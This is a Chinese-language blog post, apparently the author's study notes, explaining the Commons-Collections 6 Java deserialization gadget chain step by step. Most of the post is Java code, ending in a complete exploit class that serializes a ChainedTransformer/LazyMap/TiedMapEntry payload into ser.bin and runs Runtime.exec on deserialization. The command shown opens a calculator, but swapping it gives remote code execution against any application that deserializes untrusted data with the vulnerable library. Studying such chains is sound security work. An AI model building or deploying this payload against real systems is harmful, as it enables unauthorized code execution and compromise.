Java反序列化-CC6链

本文最后更新于 2025年8月9日 下午

配置

CC6链其实就是在CC1链的基础上,配合URLDNS链子组合的。
本环境我是用的是jdk1.8.0_71(没有过多的限制)以及Commons-Collections 3.2.1

链子分析

初探

2025-08-09155204
看一下ysoSerial给的链子,后面就是正常CC1链走的LazyMap的那条链子,前面是URLDNS的链子拼接的
先去查看TiedMapEntry
2025-08-09155643
这里可以调用LazyMap的get方法
这里借用之前在cc1写的lazymap的链子,先贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class LazyMapExp {
public static void main(String[] args) throws Exception{
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashmap = new HashMap();
Map decoratedMap = LazyMap.decorate(hashmap,invokerTransformer);
Class LazyMapClass = LazyMap.class;
Method method = LazyMapClass.getDeclaredMethod("get", Object.class);
method.setAccessible(true);
method.invoke(decoratedMap, rt);


}
}

然后用TiedMapEntry 类中的 getValue() 方法调用 LazyMap 的 get() 方法
因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryEXP {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//序列化InvokerTransformer,反射调用exec函数执行命令

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
//TiedMapEntry传递get
tiedMapEntry.getValue();
}
}

是可以正常弹出内容的
new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法,然后会执行调用map.get("key")

链接

往上找调用getValue的类,一般是现在同类里先找
2025-08-09161825
找到的是hashCode,然后就是利用URLDNS这个常规的链子就行,也就是

1
xxx.readObject--->hashMap.put()--->hashCode.hash()--->xxxx.hashCode()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class hashMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//序列化InvokerTransformer,反射调用exec函数执行命令
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

HashMap map = new HashMap();
map.put(tiedMapEntry,"bbb");//调用

}
}

2025-08-09162712
哎这里就发现提前就弹calc了,这是idea的一个毛病,提前走toString了,
2025-08-09165138
关掉就好,然后继续写
2025-08-09163220
发现序列化的时候就弹了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class hashMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//序列化InvokerTransformer,反射调用exec函数执行命令
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

HashMap map = new HashMap();
map.put(tiedMapEntry,"bbb");//调用

serialize(map);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Exp

修复问题

解决的思路也就是和URLDNS解决的方法一样,需要在执行 put() 方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。
这里在CC6里,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,可以达到我们需要的效果
2025-08-09163852
我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory
那么大致的修改就是

1
2
3
4
5
6
7
8
9
10
11
12
 HashMap hashMap = new HashMap();  
// Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer("123"));
lazymap.remove("key");//factory属性置空

Class c=LazyMap.class;//获取LazyMap对象的类
Field factoryField = c.getDeclaredField("factory");//获取factory属性
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;  

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class FinalCC6EXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

HashMap<Object,Object> map2 = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

map2.put(tiedMapEntry,"bbb");
map.remove("aaa");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

总结

老样子画个流程图理解一下
2025-08-09171709


Java反序列化-CC6链
https://0ran9ewww.github.io/2025/08/09/学习文章/Java反序列化-CC6链/
作者
orange
发布于
2025年8月9日
更新于
2025年8月9日
许可协议